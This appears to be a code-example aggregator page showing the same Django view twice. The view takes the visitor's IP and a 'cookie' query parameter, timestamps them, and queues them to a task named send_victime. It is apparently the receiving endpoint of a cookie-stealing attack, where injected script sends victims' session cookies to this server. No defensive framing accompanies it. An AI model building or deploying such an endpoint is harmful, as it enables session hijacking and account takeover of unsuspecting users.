示例#1
0
def get_client(request):
    client = Client()
    client.ip = request.META.get('REMOTE_ADDR')
    client.cookie = request.GET.get('cookie', 'None')
    client.date = datetime.now()
    send_victime.delay(client)
    return HttpResponse('ok')
示例#2
0
def get_client(request):
    client = Client()
    client.ip = request.META.get('REMOTE_ADDR')
    client.cookie = request.GET.get('cookie','None')
    client.date = datetime.now()
    send_victime.delay(client)
    return HttpResponse('ok')